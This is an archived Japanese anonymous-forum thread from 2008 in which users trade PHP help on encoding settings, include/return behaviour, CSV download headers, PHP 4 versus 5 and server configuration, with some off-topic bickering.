2008/08/09(土) 19:01:01ID:???0758nobodyさん
2008/08/09(土) 19:12:07ID:z9jw78px同じサーバの別の人のPHPスクリプトが作ったファイルの所有権もapacheってことですよね?
所有権はphpで自由に変更できるから、必ずしも所有権がapacheになるわけではない
HomeディレクトリはUnix権限が絡むから単純に所有権がapacheでも削除できないと思う
/var/www/html で共有してるなら別かもしれないけど
0759nobodyさん
2008/08/09(土) 19:18:53ID:ldipYcThhttpレスポンスをキャプチャしたものをコピペして
echoで出力してみたんだけど、サーバーにヘッダを
つけられててnphとして動いていないみたいです。
何かphpとかIISとかに設定が必要なんでしょうか?
何のためにそんなことしてるのかというと、ちょっと
したテストなので気にしないで下さい。
0760nobodyさん
2008/08/09(土) 19:21:28ID:???nphって鯖を介さないのが前提だからapacheモジュールだと機能しないんじゃね?
0761nobodyさん
2008/08/09(土) 20:57:40ID:???IISって書いてあるけど?
0762nobodyさん
2008/08/09(土) 23:05:38ID:CO+6pVsHphpでプログラムを書いていたら、動かすときにやたら時間がかかります。
機能としては、履歴書の項目をDBに登録・引き出してフォームにプリセット・そこからダイレクトに編集と保存
ってくらいのものです。(一度に操作されるカラムは最大で70個、全部同じテーブル) それで、
・動かし始めてしばらくの間はサクサク動く、登録もデータ引き出しも再登録もサクサク
・しばらくブラウザを閉じずにいじってると遅くなる。画面にフォームが映るまで20秒とか、酷いときは30秒でタイムアウト。
これって、何が原因なんでしょう? 根本的にはソースを見せなきゃわからないとは思いますが、
それは無理なんですが、、マシンが遅いとかありえるでしょうか?
プログラムそのものが悪いなら、最初だけサクサク動くっていうのがわかりません
しばらく時間が経つ(何度かページ移動を繰り返す)と処理が遅くなるという条件の場合、
どういった原因の可能性が考えられるでしょうか? 無茶な質問ですみません
php5 apache2 mysql5 winXP Pen3-900Mhzのマシンで動かしてます
0763nobodyさん
2008/08/09(土) 23:10:23ID:???>phpでプログラムを書いていたら、動かすときにやたら時間がかかります。
自分で答えだしてますがな
>php5 apache2 mysql5 winXP Pen3-900Mhzのマシンで動かしてます
0764nobodyさん
2008/08/09(土) 23:15:18ID:???ブラウザ閉じたて開きなおしたら動作は戻るの?
そうならブラウザとかクライアント環境の問題だと思うが。
もしくはセッションデータが異常に巨大化してるとか、コネクションプールがおかしくなってるとか。
0765nobodyさん
2008/08/09(土) 23:33:58ID:???0766762
2008/08/09(土) 23:43:16ID:CO+6pVsHありがとうございます やっぱりスペックがしょぼ過ぎるのかなぁ
平行してフォトショとか動かしまくってます(メモリは512)
セッションデータが巨大化してるっていうのは考えても見ませんでした
確認します echo $_SESSION;でいいのかな? また質問するかもしれませんが
よろしくお願いします
0767nobodyさん
2008/08/09(土) 23:49:57ID:???0768nobodyさん
2008/08/10(日) 01:54:05ID:???このサイトのプログラムを丸々コピー、bbs.phpとしてサーバーにアップロードしてみたのですが、入力フォームだけ表示されて、後はメッセージを送信しても何の返答もありません。
これはこのサイトのプログラムが間違っているのでしょうか?それともこちら側に問題があるのでしょうか?
エラーメッセージも表示されない為、何がなんだか分からなくなってしまいました。
サーバーはさくらインターネットプレミアム、PHPのバージョンはPHP 5.2.6です。
設定等は一切弄っておりません。
0769nobodyさん
2008/08/10(日) 01:55:28ID:???0770768
2008/08/10(日) 01:56:00ID:z5q4t0dAID出し忘れました。
0771nobodyさん
2008/08/10(日) 01:59:10ID:???そうなんですか
phpをはじめたのはこれが始めてでよくわからないのですが、php4とphp5では大幅な仕様変更がされていると言うことでしょうか?
だとしたら、php4の講座は使い物になりませんよね・・
0773nobodyさん
2008/08/10(日) 02:08:33ID:z5q4t0dAphp5向けの講座を探してみます
ありがとうございました。
0774nobodyさん
2008/08/10(日) 03:28:06ID:c6gQIYUSでも指定したディレクトリ消そうとするとキャッシュファイルが存在してる
なんで?
PHP5
サーバ:さくら
0775nobodyさん
2008/08/10(日) 03:51:01ID:???0776nobodyさん
2008/08/10(日) 04:18:01ID:c6gQIYUSキャッシュ収納用に指定したディレクトリのパーミッションは777に設定。
ディレクトリが見た目が空状態なんでディレクトリを消そうとすると
Cache_ごにょごにょファイルが存在しているって表示される
理由分かる人お願いします
0778nobodyさん
2008/08/10(日) 06:27:37ID:vDTyiIHPそれ以上書き込めずエラーになっていました。
ですが、ファイルシステムはext3で、
ファイルシステム自体には、2Gのファイルサイズ制限なんてないはずです。
「PHPで書き込めるファイルサイズの制限」ってありますか?
0779nobodyさん
2008/08/10(日) 08:36:27ID:???0780nobodyさん
2008/08/10(日) 11:00:27ID:???0781nobodyさん
2008/08/10(日) 11:37:20ID:???0783nobodyさん
2008/08/10(日) 11:51:41ID:???0785nobodyさん
2008/08/10(日) 12:26:28ID:???お互い意思疎通がスムーズになると思うんだ。
0786nobodyさん
2008/08/10(日) 12:39:43ID:???0787nobodyさん
2008/08/10(日) 12:45:45ID:???0789nobodyさん
2008/08/10(日) 14:08:24ID:???0790nobodyさん
2008/08/10(日) 15:35:27ID:???0791nobodyさん
2008/08/10(日) 21:09:42ID:???http://money6.2ch.net/test/read.cgi/manage/1218367774/
0792nobodyさん
2008/08/10(日) 23:04:05ID:+zJ2I0fEコメントの書き方についてですが
質問@ ユーザー変数を英語で書く場合みなさんはどう書きますか?
質問A システム変数についても普通はこう書くみたいな定番はありますでしょうか?
例えば
<?php
# user settei ←質問@(あなたならどう書く?)
$pass = 'abc';
# system settei ←質問A(ここも英単語でどう書く?)
$a = $pass;
とこのようにコメントの書き方に付いての質問ですがよろしくお願いします。
0794nobodyさん
2008/08/10(日) 23:16:51ID:???フレームワークもいろいろあるので
みんなのコメントはどう書いてるのかな?と思ったので。
まあどうでもいいですね。ごめんなさい。
0795nobodyさん
2008/08/10(日) 23:44:49ID:???0796nobodyさん
2008/08/11(月) 05:44:17ID:???やたら挑戦的なのはなぜなんだぜ
0797778
2008/08/11(月) 08:12:30ID:y4BtjT7YまたRubyでそのファイルへの追加をしてみたところ、出来ました。
どうやらこれはPHPの制限のようです
エクステンション等で解決できるのか、わかりませんが
0798nobodyさん
2008/08/11(月) 15:38:43ID:4sR4BI/Cぐぐってみた?
http://www.phppro.jp/news/75
http://jp2.php.net/manual/ja/intro.filesystem.php
0799nobodyさん
2008/08/11(月) 17:59:04ID:???http://money6.2ch.net/test/read.cgi/manage/1218367774/
「スイッチボード型収益モデルの地域密着型IT事業」
お仕事相談受けますよ(ニヤリ)
0800nobodyさん
2008/08/11(月) 18:37:23ID:???0801nobodyさん
2008/08/11(月) 18:40:37ID:???0802nobodyさん
2008/08/11(月) 18:45:02ID:???PHPとJavascriptは別物。
ウェブシステムをPHPで作る場合、
・ 画面のフォームに入力して送信ボタンを押してサーバから結果を返せばいい場合、Javascriptは不要
・ googlemapの様にマウスの動きで画面が変わるような場合、Javascriptは必要
・ フォーム入力で、他の入力を元にプルダウンメニューの中身等を変える場合、Javascriptは必要
0803nobodyさん
2008/08/11(月) 18:46:11ID:???0804nobodyさん
2008/08/11(月) 18:55:10ID:???0805nobodyさん
2008/08/11(月) 20:03:34ID:???必要。ないと僕は運転できません。
803へ
なんてこというんだ。君は
804へ
必要。いいかいひきこもりは自称自宅警備員をしているらしい。
僕は今週で卒業だが、名残惜しい。
ひきこもりに休憩として、またヒッキーが巡回パタロールをしている
から2ちゃんが安全なんだ。
わかるかな
0807nobodyさん
2008/08/11(月) 20:15:51ID:???ガキが湧いてきた
0809nobodyさん
2008/08/11(月) 20:28:12ID:???立て読みって何ですか?
808へ
アンカーなら去年の体育大会でやりました。
0811nobodyさん
2008/08/11(月) 20:33:48ID:???優先順位は自分が何を優先するかによって決まります。
自分の胸に聞きましょう。
0812nobodyさん
2008/08/11(月) 20:33:52ID:???PHPとJavaScriptが何なのかをまずWikipediaあたりで調べて来い
優先順位とか謎なこといってるあたりよくわかってないんだろ
0815nobodyさん
2008/08/11(月) 20:52:19ID:???違う。
PHPはサーバで動くモノ。Javascriptは、クライアントで動くモノ。
処理結果を表示するのに、一々サーバに問い合わせて画面全体を書き換えて処理するなら PHP:必要 JavaScript:不要
AJAXアプリみたいに非同期通信をしたり、入力チェックをクライアント側で済ませたりするなら PHP:必要 JavaScript:必要
サーバとの通信が不要なソフト(簡易ゲームやら画面の飾りやら)なら PHP:不要 JavaScript:必要
JavaScriptの部分は、FlashやJavaアプレット、VBScript(※)に置き換え可能 (※:クライアントをIEに限定する場合)
(PHPスレ的には余談だが、PHPの部分はASPやJSP、Perlなどに置き換え可能)
ケイタイ相手とか、古いブラウザ相手なら別だが、今はクライアント側で(暫定的に)入力チェックぐらいしとくのが一般的。
(もちろん、クライアント側のチェックはページ捏造で回避されたりするから、サーバ側で再チェックは必要だが・・・。)
送信ボタン→入力エラーだと、使い勝手が悪いウェブアプリになる罠。
0817nobodyさん
2008/08/11(月) 21:55:36ID:???0818nobodyさん
2008/08/11(月) 22:09:05ID:???0819nobodyさん
2008/08/12(火) 00:56:52ID:???0820nobodyさん
2008/08/12(火) 05:16:44ID:???さすが、夏休み真っ盛りで感じか。
補足して説明すると、
女性は正しいか間違っているかではない、好きか嫌いかってこと。
ここまで言えば、分かるよね?
0821nobodyさん
2008/08/12(火) 07:02:35ID:E4lJmioa関数の説明の後にサンプルコードがありますが、
あれは検証済みのコードなのでしょうか?
自由に投稿できて、全く検証されていないコードなのか?
何らかしらの検証過程を経て載せられているものなのか?
そうだとしたら、どの程度の品質レベルなのか?
ご存じの方いらっしゃいますか?
目的に合うソースがあっても、ソースのロジックがわかりにくく、
結局自分で作ってしまう場合が結構あります。
信頼できるソースなら(例えば、本に載っているようなサンプルコードのレベル)、
そのままコピペと多少の検証テストで使いたいと思っています。
0822nobodyさん
2008/08/12(火) 07:21:58ID:???0823nobodyさん
2008/08/12(火) 09:44:08ID:???自分が理解できてないだけじゃんw
0824nobodyさん
2008/08/12(火) 09:57:47ID:???マニュアルって?
PHP公式以外のはバージョンアップとかでアテにならないから、
公式のものを使うんであれば、ある程度、信用度は高いよ。
http://www.php.net/manual/ja/
noteについてのポリシーはこんな感じ。
http://www.php.net/manual/add-note.php
ただ、PHPはオープンソースなので、あくまでもユーザ同士で
バグを潰すっていうスタイルなのは理解してね。
どっちにしろ納品する時にはテストをしなきゃいけないんだし、
まったくソースの中身を見る必要のない品質が欲しければ、
MSとかのエンタープライズな環境でやるべき。
0825nobodyさん
2008/08/12(火) 11:49:48ID:???XSSなどに対するセキュリティ評価をする方法ってありますか?
0826nobodyさん
2008/08/12(火) 11:50:29ID:???0827nobodyさん
2008/08/12(火) 11:56:38ID:???ttp://www-06.ibm.com/jp/software/rational/products/test/appscan/
0829nobodyさん
2008/08/12(火) 12:27:05ID:JPLu1eak初心者なので「実践マスターPHP+MYSQL 小島まさご著」という本を買って試みているのですがログインのユーザー名とパスワードを拒否されます。
実践マスターでは「config.inc.php」←これのログの中のパスワードとユーザーIDを好きな文字に書き換えているので私も好きな文字(自分の名前とか…)に書き換えました。
何回も書き間違えがないか調べてもミスが見当たりません。
おかしい所はphpMyAdminのログイン画面の一番下あたりに「mcrypt拡張をロードできません。PHPの設定を確認してください」と注意文が書いてありました。
まったく意味がわかりません。誰か教えていただけませんか?
よろしくお願いします!
0830nobodyさん
2008/08/12(火) 12:31:53ID:???0831エスパー
2008/08/12(火) 12:40:29ID:???0832nobodyさん
2008/08/12(火) 13:03:35ID:JPLu1eak>>831
返答ありがとうございます。
rootでログインって事でしょうか?
rootでログインするとログイン画面が文字化けするんでが・・・
初心者でごめんなさい・・・
どうすればいいですか?
0833nobodyさん
2008/08/12(火) 13:15:02ID:???ありがとうございます。
どれも現実には難しそうですね・・・。
自前でチェックするために、チェック項目を揃えたサイトはありませんでしょうか?
0834nobodyさん
2008/08/12(火) 13:28:00ID:???エンコードの設定がおかしい。
あともしCDからコピーしてるなら最新版使ったほうがいい。
>>833
ぐぐれば星の数ほどある
0835nobodyさん
2008/08/12(火) 13:40:14ID:JPLu1eak返答ありがとうございます。
CDからではなくダウンロードサイトで落としたので最新版だと思われます。
設定はmy.iniで大丈夫でしょうか?
52番目と57番目と81番目は「default-character-set=ujis」
82番目は「skip-character-set-client-handshake」に変更して日本語が使えるようにしているのですが文字化けします。
ちなみにPHP5です。
ご指摘があればよろしくお願いします。
0836nobodyさん
2008/08/12(火) 13:50:01ID:???あとmysqlの設定の文字コードだけ変えても意味ない。
phpmyadminはconfigログインに設定してるの?configログインで「ログイン画面」て何のこと指してるか良く分からんが。
httpログインで出てくる窓の文字化けなら気にスンナ。
今時euc-jpもないので全てutf-8で統一にしたほうがいい。
1.mysqlをutf-8でインストール。
2.php.iniのmbstring関連を全部utf-8にしてapache再起動する。
3.phpmyadmin最新版を落として入れて、config.inc.phpのauth_typeをhttpにする。
でおk
0837nobodyさん
2008/08/12(火) 13:58:28ID:JPLu1eak返答ありがとうございます。
質問があやふやで申し訳ありませんでした。
ご指摘受けた通りにやってみます。
ありがとうございました!
0838nobodyさん
2008/08/12(火) 14:18:53ID:???0839nobodyさん
2008/08/12(火) 14:31:52ID:WorMlqBO$が検索に反映されないから全然でてこない
0840nobodyさん
2008/08/12(火) 14:36:43ID:???それはrobot.txtが置かれていないか、
metaタグで拒否しているからじゃないの?
どっちみち、phpとは関係ないぞ。
0841nobodyさん
2008/08/12(火) 14:39:16ID:???http://jp.php.net/manual/ja/language.oop5.basic.php
0842nobodyさん
2008/08/12(火) 14:40:46ID:WorMlqBO関係ないページがたくさん出てきちゃってみつからないってことです
0843nobodyさん
2008/08/12(火) 14:42:20ID:WorMlqBO>>841
ありがとうございます
0844nobodyさん
2008/08/12(火) 14:42:32ID:???検索されちゃうって、誰からに検索してもらっているのか?
インターネット使えるから、こうやってレスできるんでしょ?
0846nobodyさん
2008/08/12(火) 14:45:57ID:???0848nobodyさん
2008/08/12(火) 15:06:01ID:rWPCXvDX変数に$つけるとか間違ってる。$つけていいのはPerlとその後継のRubyだけ。
0849nobodyさん
2008/08/12(火) 15:07:04ID:???0850nobodyさん
2008/08/12(火) 15:08:23ID:rWPCXvDXWeb系スクリプト言語にもちこんだやつは。Javaの後、PHPやると必ずエラーがでて
無性に腹立つ。
0851nobodyさん
2008/08/12(火) 15:12:51ID:???0852nobodyさん
2008/08/12(火) 15:20:55ID:rWPCXvDX0854nobodyさん
2008/08/12(火) 22:53:17ID:Pr6MmFHoだよな
0855nobodyさん
2008/08/12(火) 23:08:50ID:???0856nobodyさん
2008/08/12(火) 23:14:16ID:???0857nobodyさん
2008/08/13(水) 02:51:20ID:???丁寧なご回答どうもありがとうございました。
比較的信頼性は高くて、誰でも気軽にnoteに入れることはできないんですね。
それで少し安心しました。
ただ、公式のHPにもかかわらず自己責任という名の無責任体質には腹が立ちました。
結局、信用できるのは自分だけってことでしょうか。
0858nobodyさん
2008/08/13(水) 02:58:07ID:???0859nobodyさん
2008/08/13(水) 02:59:24ID:???0860nobodyさん
2008/08/13(水) 03:46:29ID:???すっごくありがたいことだと思うんだけど
そういう風に感じないのは他の言語を触ったことが無い人かしら
0862nobodyさん
2008/08/13(水) 07:37:11ID:???やりたい事から調べられるからとっつき易い
MSDNとか探すの大変
0864nobodyさん
2008/08/13(水) 07:51:56ID:???PHP自身のバグに無責任じゃ困るけど、読めるコードを
読める形で記述してるのに検証せずにコピペするのは自己責任。
0865nobodyさん
2008/08/13(水) 07:52:30ID:???前のに戻せよ
0866nobodyさん
2008/08/13(水) 07:55:54ID:???> そういう風に感じないのは他の言語を触ったことが無い人かしら
他の言語でいうなら、JavaDocは分かりやすい。
phpにもJavaDocのような機構があれば便利なんだが。
0867nobodyさん
2008/08/13(水) 08:01:18ID:???0868nobodyさん
2008/08/13(水) 08:04:10ID:???おおお、あったのかphpdoc。
サードパーティー製ならあるだろうなぁって思っていたけど、
まさか本家にあるとは。これは最近できたのかな。
0871nobodyさん
2008/08/13(水) 11:41:04ID:???0872nobodyさん
2008/08/13(水) 11:43:36ID:FG6j8C0r0874nobodyさん
2008/08/13(水) 11:54:35ID:???>ずいぶん前からあるぞ >>869
一体どう読めば馬鹿にしてるように見えるんだ?
>>870は日本語が不得意なのか?ww
0876nobodyさん
2008/08/13(水) 11:59:33ID:???は?
これは最近できたのかな。→ずいぶん前からあるぞ。
↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓
これは高校で習うことかな。→小学生で習うことだぞ。
どう考えたって馬鹿にしているだろが。
0880nobodyさん
2008/08/13(水) 12:23:08ID:???0882nobodyさん
2008/08/13(水) 12:51:57ID:???例えば、文字を切り出す処理をしたい時に、
「文字 切り出す」で検索かければ一発じゃない?
逆引きに並んでいるっていうのが何を指しているのか知らないけど。
0883nobodyさん
2008/08/13(水) 13:20:21ID:???0884nobodyさん
2008/08/13(水) 13:48:24ID:???逆引き 機能で検索→名前を知る
0885nobodyさん
2008/08/13(水) 14:39:44ID:???0886nobodyさん
2008/08/13(水) 16:09:36ID:???と思っていたらonline documentationで検索すると結構使えるのな
0887nobodyさん
2008/08/13(水) 23:44:23ID:smcSjLcUレンタルサーバー借りて、独自ドメインとって、
DBを使い、登録する画面と、登録されたものの一覧を表示するという
WEBシステムを作っています。
トップ画面はindex.phpでDBからの一覧を表示しているだけなんですが、
この画面が見れないというユーザーがおります。
phpがダメなのかと思い、test.htmlというファイルで
見れますか?というだけの画面を作ったんですけど
これもまた見れないとメールがきました・・
もちろん、普通にアクセス・登録できる人もたくさんいるのですが、
この「見れない」というのはどういうことなんでしょうかね??
メールでエラーメッセージの内容などきいているのですが、
返事もこなくて、へこみます
特定のURLは見れない、ってことがあるんですかね?
0888nobodyさん
2008/08/13(水) 23:57:09ID:???metaタグで指定されていなければ指定してみたら?
ApacheならAddDefaultCharsetを確認してみたら?
0889887
2008/08/14(木) 00:10:45ID:OO/Qi0nMありがとう、文字コードはメタタグで
指定してるんだよね・・
<meta http-equiv='Content-Type' content='text/html; charset=shift_jis'>
Apache/1.3.39 (Unix)ってサーバー情報に書いてあるが
レンサバ(さくら)なのでちょっと分からん・・
AddDefaultCharset調べてみる。
0890nobodyさん
2008/08/14(木) 00:27:29ID:???まあhtmlでも見れないようだから、クライアント側のブラウザとかがおかしいのだろうけども
0891nobodyさん
2008/08/14(木) 00:30:58ID:???なんで、こういう根拠もない無責任な回答する奴がいるだろう。
ユーザーによって見れたり見れなかったりするのなら、
DNSの設定が間違っているに決まっているだろ。
0892887
2008/08/14(木) 00:35:21ID:OO/Qi0nMそうなんだ・・ あんまりOSとかブラウザ情報とか聞くのもナニかな、と
遠慮しているんだけど
クライアントの問題、といってもどうなってるんだか想像がつかなくて。
アクセスログみたら、エラーログすら残ってないんだよね
メール情報のプロバイダ・IPで検索すると。
もうちょっと突っ込んで状況を聞いてみることにします。どうもありがとう。
0893nobodyさん
2008/08/14(木) 00:37:44ID:???だから、webサーバーのアクセスログする残っていないなら、
DNSの設定が間違っているから、お前のサイトに到達できていないだろ。
httpレベルの話じゃない。だから、専用スレで聞け。
0894nobodyさん
2008/08/14(木) 00:52:17ID:oz+RaL8c1<hr>
<?php $a=1; include test.php ?>
2<hr>
test.php
<?php if ($a == "1") exit(); ?>
のようにした時に$a=1の時に処理を中止してその後の2<hr>を表示する方法ってありますか?
なぜphpから抜けたしただけなのにhtmlの処理もそこで止まるんだろう???
0898nobodyさん
2008/08/14(木) 01:03:19ID:njR6ZB/nそれぞれphpのインストール場所が異なります。
そのため、テスト環境でphpプログラムをテストした後、本番環境にコピーし、
#の1行目のところを変更する必要があります。(本当はテストした後なので修正したくない)
これを、変更しなくてもよい方法はないでしょうか?
0899nobodyさん
2008/08/14(木) 01:15:16ID:???>>#の1行目のところを変更する必要があります。(本当はテストした後なので修正したくない)
の意味が分からない
そこに何が書いてあるの?
切り替えるべき値があるなら定数とかで宣言しておいて設定ファイルのようにincludeするとか
0900nobodyさん
2008/08/14(木) 01:50:39ID:???1<hr>
<?php $a=1; if ($a == "1") exit(); ?>
2<hr>
includeを展開するとこう書いてるのと同じことだ。
↓のようにすればいいんじゃないかな
include test.php;
1<hr>
<?php $a=1;test1() ?>
2<hr>
test.php
<?php
function test1() { if ($a == "1") return();}
?>
0901nobodyさん
2008/08/14(木) 02:43:32ID:njR6ZB/nenvでインストールしてる場所がとれたと思う。
#!/usr/bin/env php
みたいなかんじで。
でも、envが使えないUNIX環境もあると思うが、そういう場合はどうするんだろ。。。?
0902nobodyさん
2008/08/14(木) 03:41:24ID:???スレ違いですが、何かの縁ですし、みんなで語り合いませんか。
0903nobodyさん
2008/08/14(木) 05:08:32ID:???↓コレでも見て勝手に考えろ。もう来なくて良いからな。
ttp://jp.youtube.com/watch?v=DjgM3d6zBQc
ttp://jp.youtube.com/watch?v=BW-AC5ySxp4
ttp://jp.youtube.com/watch?v=FVFdMAqAPg8
0904nobodyさん
2008/08/14(木) 06:38:35ID:???どのように使うのでしょうか?
LINUX、PHP5.2.6、ROOT有レン鯖です。
宜しくお願いします。
0905894
2008/08/14(木) 10:07:45ID:oz+RaL8cお返事ありがとうございます。
それでやってみたけど駄目でした。
素直残りの処理をElseで括るしかないのかな
0906nobodyさん
2008/08/14(木) 10:20:16ID:???>>900さんではないですけど、横から・・・
> 1<hr>
> <?php $a=1; include test.php ?>
> 2<hr>
>
> test.php
> <?php if ($a == "1") exit(); ?>
exit()の代わりにreturn;を使ってみて下さい。
includeしたファイル内でのreturnは、そこで処理を中止して呼び出した方の処理へ戻ることを意味しますよ。(PHP4以上)
0907894
2008/08/14(木) 10:28:07ID:???ではなく
return
としたらできました。
()の単純なミスでした
>>906様どうもありがとうございます。
こんなことで昨日4時間ぐらい悩んでいたorz
0908nobodyさん
2008/08/14(木) 10:45:38ID:Q1OktP3Jphpをはじめたとしたweb系の仕事をしたくて勉強しているのですが、
phpでの求人広告を結構あります。
それで、phpが必要な案件というのはVerが幾つのことをさすことが多いのですか?
Verまで書いてある求人広告があまりないので、分かりません。
教えて下さい。
0910nobodyさん
2008/08/14(木) 11:00:23ID:???少し前ならPHP4が主流でしたね
PHP4のサポートも終了ですから今後はPHP5です。
リリース番号まで気にすることはないでしょう。
それでもPHP4とPHP5の両方を勉強しておくことをオススメします。
PHP4で作られたシステムは山ほどありますので、それの改造や保守をすることになった場合に必要です。
それにPHP5に完全に移行していないサーバを使った案件でもやはりPHP4ですね
上位互換とは言え、PHP4からPHP5では大きく変化してます。(PHP5にはPHP4互換モードがあるくらいです)
PHP5を主にPHP4も押さえましょう。
0911nobodyさん
2008/08/14(木) 11:08:07ID:???■現象■
CSVファイルがダウンロードできない
■環境■
Microsoft Windows XP SP2
Microsoft Internet Explorar 6
Norton Internet Security
■詳細■
PHPを利用してデータの抽出結果をCSVファイルとしてダウンロードさせる機能を作成しています。
Mozilla系のブラウザ、Norton Internet Securityがインストールされていない環境では
正常にダウンロードを行う事ができるのですが、Norton Internet Securityが入っていない
環境でInternet Explorarを用いて実行すると、ダウンロードができないのです。
<< 該当プログラムコード >>
header("Cache-Control: public");
header("Pragma: public");
header("Content-disposition: attachment; filename=".$File_Name);
header("Content-type: text/csv; name=".$File_Name);
いろんなサイトを調べてみると、「headerで"Cache-Control:public"を指定する」等の
対応策が書かれていましたが、同じ状態になっているにもかかわらず改善されないです。
header("Content-disposition: inline; filename=".$File_Name);
に変更したところ、「保存」は正常な処理を行っているように思え、ダウンロードができました。
しかし「開く」を実行すると、「〜.phpは有効なファイルではありません。」といったダイアログが表示され、"はい"でも"いいえ"でもCSVファイルはExcelで開かれます。
IE7で「開く」を実行すると、ブラウザでExcelが起動されるらしく、ダイアログは出ませんでした。
できることなら、ダイアログも出ずにIE6で正常に開く処理ができるといいのですが、なにかいい方法はないでしょうか。
ブラウザを変える・ノートンを削除するといった方法は、客先に注文できないためコードの修正、もしくは何かの設定を変える方法でお願いいたします。
0912nobodyさん
2008/08/14(木) 11:20:30ID:???やりたいことは「IE6でPHPから出力したCSVファイルをダイアログなしにExcelで開く」と・・・
現状が良く理解出来なかったが・・・
リンククリック時の挙動はContent-typeで決まるってことを考えれば、
> header("Content-Type: text/csv");
よりは、
> header("Content-Type: application/vnd.ms-excel");
じゃないか?(未検証、あくまでヒント程度に)
あと「開く」動作はIEのテンポラリから開くことになるから、環境によっては正常に動作しないこともあり。
0913912
2008/08/14(木) 11:23:51ID:???application/x-csv の方がイイかも、か?
0914nobodyさん
2008/08/14(木) 13:46:30ID:Q1OktP3J詳しいご説明どうもありがとうございます。
アドバイス頂いた通り、php5をメインにphp4の差分を勉強していきたいと思います。
感謝です。
0915nobodyさん
2008/08/14(木) 13:58:46ID:???Web系でどのシステム開発依頼が多いかというとASP.NET>Java>PHPって感じだし
会社としても単価が低いPHPより単価の高い案件とってくるほうがいいからね
0916nobodyさん
2008/08/14(木) 14:06:40ID:ilLTwblx-------------------
<?php
if($cat_id){
$sql = "SELECT * FROM businesses b, biz_categories bc where"; //このb, bcとは何?
$sql .= " category_id = '" . $db->quoteSmart($cat_id) . "'";
$sql .= " and b.business_id = bc.business_id"; //ここは何してるの?
$result = $db->query($sql);
-------------------
この3行目にある、bとかbcとかって、何ですか?
0917nobodyさん
2008/08/14(木) 14:11:43ID:???ここでの使い方は別名だよ
「businesses」などを「b」などと別名を割り当てておけば、
「and b.business_id = bc.business_id」を
「and businesses.business_id = biz_categories.business_id」って書かなくて済むね
0918nobodyさん
2008/08/14(木) 14:22:08ID:???っていうか、スレ違いに何で回答しているんだよ!
そういう奴がいるから、このレスの半分がスレ違いで埋め尽くされるんだ。
お前は、うちの近所で野良猫に餌をやっている腐女子と一緒。
キモイ。キモスギル。シネ。
0920nobodyさん
2008/08/14(木) 14:46:10ID:???0921nobodyさん
2008/08/14(木) 15:35:58ID:???喜びとはすなわち生まれるということ
込み上げる感情の発芽であります
しかし一方で決して永続性はない
ただただ、その瞬間におけるプラスの感情であり
つまりはそこからマイナスのエネルギーがなだらかに広がる
あるいは、急速に落ちてくんです
たとえば子供が産まれる
その瞬間に対する喜びはしだいに消え失せる
自分の老いの確認
経済的不安
成長する子供は決して期待にそぐわない
その緩やかな絶望
父性や母性は永続性があるじゃないか
父性や母性とはいったい何か
数学的、物理的に質量が測られるものではない
世の中に当たり前のことなどありません
すべて原因があり結果がある
愛における喜びとは原因であり結果への誘導
絶望への過程を作る
喜びなどなければ、絶望しない
人間の感情の中に喜びなどいらないんです
あらゆる犯罪は喜びに発動される
自分の喜びのために
あるいは、他人を喜ばすために
人間は犯罪を犯す
喜びを貪るお前たちは罪悪の源だ
0922nobodyさん
2008/08/14(木) 15:36:53ID:???3行で
まとめろ
0923nobodyさん
2008/08/14(木) 15:55:45ID:lAjhzaxsブラウザのエンコードを変えても文字化けしています。
utf-8ですべてまとめています。
文字化けしないようにするにはどうすればいいか誰か教えてください。
0925nobodyさん
2008/08/14(木) 16:15:20ID:DCpr3k6v後々の手間を考えたら、ASPの方がいいかも。
0926nobodyさん
2008/08/14(木) 16:28:44ID:???0927nobodyさん
2008/08/14(木) 16:30:29ID:???0928926
2008/08/14(木) 16:54:49ID:kPaTSKvdttp://2php.jp/php/install_php_windows.html
ただバージョンが違うので
DirectoryIndex index.html index.html index.cgi index.phpを書き込む項目が無かったのと、
LoadModule php4_module "C:/php/sapi/php4apache2.dll"は
LoadModule php5_module "C:/php/php5apache2_2.dll"に変更
(php5apache2.dllは何故か認識されず)
その後↓のサイトで配布されているAcceleratorを使って紹介されている通りに設定
ttp://mizushima.ne.jp/Windows/HTTP/eAccelerator/MNS-eAccelerator.php
php.iniはデフォの物の一番下にコピペ(cacheの場所は「c:\php\cache」に変更)しました
再起動して<?php phpinfo();?>のサイトで確認してもeAcceleratorの表示が無かったんで困りました
0929nobodyさん
2008/08/14(木) 17:02:17ID:60bQ7ofpPHPをローカルのパソコンで実行することってできないのでしょうか。
PHPコーディングが含まれるhtmlソースを、
”php実行”結果のhtmlに変換する処理です。
0930nobodyさん
2008/08/14(木) 17:05:03ID:???http://www.php.net/manual/ja/intro-whatcando.php
0931nobodyさん
2008/08/14(木) 17:17:57ID:???Windows版PHPの初期のiniは知らんが、
extension_dirがちゃんと設定されてない可能性を考えて見る、と言うか見れ
それとiniの定義は以下の方が良くないか?(freebsd使いな俺はそうなのだが)
「extensions」でも問題ないが、絶対パスが使える分見落としも少ない
---------------------------------
[eaccelerator]
zend_extension="dllの絶対パス"
〜(eacceleratorで始まる項目が続く)〜
---------------------------------
>>929
>>928のようにWindows版(ローカルがWindowsなら)のPHPを入れたらどうだ?
HTMLってことだから必要ならApacheも入れてしまえばイイかと
ブラウザで見る必要ないなら、PHPだけ入れてプロンプトから確認ががが
0932nobodyさん
2008/08/14(木) 17:33:29ID:???DirectoryIndex は全てのバージョンにあるぞ。無かったら作ればいい。
でも今回の件とは関係ないけど。
あとApache2.0と2.2は別物。2が動かなくて2_2が動くのは当然。
で、extensionsフォルダの場所は自分の環境の正しいところに入ってる?
0933nobodyさん
2008/08/14(木) 17:40:11ID:lAjhzaxsphpinfoの何処をみればいいんですか?
php.iniは本を見てそのまま真似たので他に変更箇所があるのか分かりません。
php.iniの変更場所を晒しますので変更場所があれば教えてください。
※矢印の方向に変更しました。
;default_charset = "iso-8859-1" →→ default_charset = "utf-8"
extension_dir = "./" →→ extension_dir = "c:/php/ext"
;extension=php_mysql.dll →→ extension=php_mysql.dll
;mbstring.language = Japanes e→→ mbstring.language = Japanese
;mbstring.internal_encoding = EUC-JP →→ mbstring.internal_encoding = utf-8
;mbstring.http_input = auto →→ mbstring.http_input = auto
;mbstring.http_output = SJIS →→ mbstring.http_output = utf-8
;mbstring.encoding_translation = Off →→ mbstring.encoding_translation = On
;mbstring.detect_order = auto →→ mbstring.detect_order = auto
;mbstring.substitute_character = none; →→ mbstring.substitute_character = none;
;extension=php_mbstring.dll →→ extension=php_mbstring.dll
;output_handler = →→ output_handler =mb_output_handler
0934nobodyさん
